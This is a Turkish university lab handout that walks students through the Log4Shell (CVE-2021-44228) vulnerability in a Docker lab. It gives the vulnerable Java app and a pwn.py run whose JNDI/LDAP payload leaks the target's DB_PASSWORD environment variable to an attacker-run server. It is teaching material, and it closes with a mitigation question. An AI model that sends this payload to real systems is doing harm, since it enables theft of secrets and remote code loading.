Laboratuvar: log4j'den yararlanma
Bu laboratuvarda log4j güvenlik açığı olan CVE-2021-44228'i inceleyeceğiz. Bu güvenlik açığı, Apache, neo4j, Steam, iCloud ve Minecraft dahil olmak üzere birçok Java uygulaması tarafından kullanılan ortak bir günlük kütüphanesindeki bir kusurdan yararlanmaktadır. Bir mesajın kaydedilmesine neden olabilen herhangi bir saldırgan Java Adlandırma ve Dizin Arayüzünü (JNDI) kullanabilir ve hedefin başka bir sunucuya (örneğimizde LDAP) ulaşmasına ve uzaktaki bir Java sınıf dosyasını yüklemesine neden olabilir. Bu dosya, saldırganın sunucu sürecine enjekte etmek istediği herhangi bir kodu içerebilir.
| Biraz araştırma yapın: log4j’nin hangi sürümleri bu güvenlik açığından etkileniyor? |
Bu laboratuvar, bir saldırgan ve bir hedef içeren bir ağı simüle etmek için bir Docker Compose yapılandırması kullanır. Hedef, leonjza tarafından yazılmış, savunmasız olduğu bilinen bir örnek uygulama çalıştırır. Bu örnek uygulama, aşağıda görüldüğü gibi bir isteğin User-Agent başlığını, istek yolunu ve bir sorgu dizesi parametresini günlüğe kaydeder:
App.java
package com.sensepost.log4jpwn; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager; import static spark.Spark.*; public class App { static final Logger logger = LogManager.getLogger(App.class.getName()); public static void main(String[] args) { port(8080); get("/*", (req, res) -> { String ua = req.headers("User-Agent"); String pwn = req.queryParams("pwn"); String pth = req.pathInfo(); System.out.println("logging ua: " + ua); System.out.println("logging pwn: " + pwn); System.out.println("logging pth: " + pth); // trigger logger.error(ua); logger.error(pwn); logger.error(pth); return "ok: ua: " + ua + " " + "pwn: " + pwn + " pth:" + pth; }); } } |
| Savunmasız uygulamamız hangi bağlantı noktasında çalışıyor? |
Saldırgan konteynerimiz, yine leonjza tarafından yazılan ve iki şey yapan pwn.py betiğine sahiptir:
- Arka planda 8888 numaralı bağlantı noktasında sahte bir LDAP sunucusu çalıştırır
- Sahte LDAP sunucusuna referans veren JNDI URI ile bir Java değerinin sızdırılmasını isteyen bir istek gönderir
- Yanıtı ayrıştırır ve yazdırır
Bu kurulumu kullanarak log4j'nin çalışan süreçlerden hassas bilgileri sızdırmak için nasıl kullanılabileceğini gösterebiliriz. Bunu DB_PASSWORD ortam değişkeninin değerini sızdırmak için kullanacağız. Çalışan konteynerlerdeki ortam değişkenlerinde sırların saklanması alışılmadık bir durum olmadığından, bu istismarın ne kadar yıkıcı olabileceğini görmek için bu yeterli olacaktır.
Bu laboratuarın zip arşivini indirerek ve yazma izinlerinizin olduğu ve bir terminal uygulamasında gezinebileceğiniz bir dizinde açarak başlayın. Bunu yaptıktan sonra, bu dizine docker-compose yazarak laboratuvarı açabilirsiniz. Çıktı aşağıda gördüğünüze benzer görünmelidir:
PS C:\Users\rxt1077\it230\labs\log4j> docker-compose up [+] Running 2/0 - Container log4j-target-1 Created 0.0s - Container log4j-attacker-1 Created 0.0s Attaching to log4j-attacker-1, log4j-target-1 log4j-attacker-1 exited with code 0 log4j-target-1 | WARNING: sun.reflect.Reflection.getCallerClass is not supported. This will impact performance. log4j-target-1 | [Thread-0] INFO org.eclipse.jetty.util.log - Logging initialized @815ms to org.eclipse.jetty.util.log.Slf4jLog log4j-target-1 | [Thread-0] INFO spark.embeddedserver.jetty.EmbeddedJettyServer - == Spark has ignited ... log4j-target-1 | [Thread-0] INFO spark.embeddedserver.jetty.EmbeddedJettyServer - >> Listening on 0.0.0.0:8080 log4j-target-1 | [Thread-0] INFO org.eclipse.jetty.server.Server - jetty-9.4.z-SNAPSHOT; built: 2019-04-29T20:42:08.989Z; git: e1bc35120a6617ee3df052294e433f3a25ce7097; jvm 11.0.14+9-post-Debian-1deb11u1 log4j-target-1 | [Thread-0] INFO org.eclipse.jetty.server.session - DefaultSessionIdManager workerName=node0 log4j-target-1 | [Thread-0] INFO org.eclipse.jetty.server.session - No SessionScavenger set, using defaults log4j-target-1 | [Thread-0] INFO org.eclipse.jetty.server.session - node0 Scavenging every 600000ms log4j-target-1 | [Thread-0] INFO org.eclipse.jetty.server.AbstractConnector - Started ServerConnector@401fccd3{HTTP/1.1,[http/1.1]}{0.0.0.0:8080} log4j-target-1 | [Thread-0] INFO org.eclipse.jetty.server.Server - Started @960ms |
Hedef hizmetin çalıştığını ve log4jpwn örnek uygulamasını çalıştırdığını ve çıktısının doğrudan ekrana gittiğini fark edeceksiniz. Saldırgan hizmeti etkileşimli kullanım için tasarlandığından ve arka planda hiçbir şey çalıştırmadığından hemen çıkacaktır. Başka bir terminalde, tekrar laboratuvar dizinine gidin ve docker-compose run attacker bash komutunu çalıştırın. Bu, hedefe saldırmak için kullanacağınız kabuk olacaktır:
PS C:\Users\rxt1077\it230\labs\log4j> docker-compose run attacker bash root@3971c61303c8:/ |
Saldırı kabuğunda, konteynerinizin IPv4 adresini belirlemek için ip komutunu kullanın. Saldırgan konteyner, exploit dizesi kaydedildikten sonra hedeften gelen bağlantıları dinleyeceği için buna ihtiyacımız olacak.
root@3971c61303c8:/# ip addr show dev eth0 58: eth0@if59: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:14:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet <IP_ADDRESS>/16 brd 172.20.255.255 scope global eth0 valid_lft forever preferred_lft forever |
IP adresini aldıktan sonra, saldırgan konteyner üzerinde pwn.py betiğini çalıştırabilirsiniz ve hedef konteyner üzerinde DB_PASSWORD ortam değişkenini okuyabilmeniz gerekir.
root@3971c61303c8:/# python /pwn.py --listen-host <IP_ADDRESS> --exploit-host <IP_ADDRESS> --target http://target:8080 --leak '${env:DB_PASSWORD}' i| starting server on <IP_ADDRESS>:8888 i| server started i| setting payload in User-Agent header i| sending exploit payload ${jndi:ldap://<IP_ADDRESS>:8888/${env:DB_PASSWORD}} to http://target:8080/ i| new connection from <TARGETS_IP>:44050 v| extracted value: <DB_PASSWORD> i| request url was: http://target:8080/ i| response status code: 200 |
| Veritabanı şifresi nedir? |
| Dağıtılmış bir uygulamanın bu güvenlik açığına sahip olma riskini azaltmak için hangi adımları atardınız? |
Yorumlar
Yorum Gönder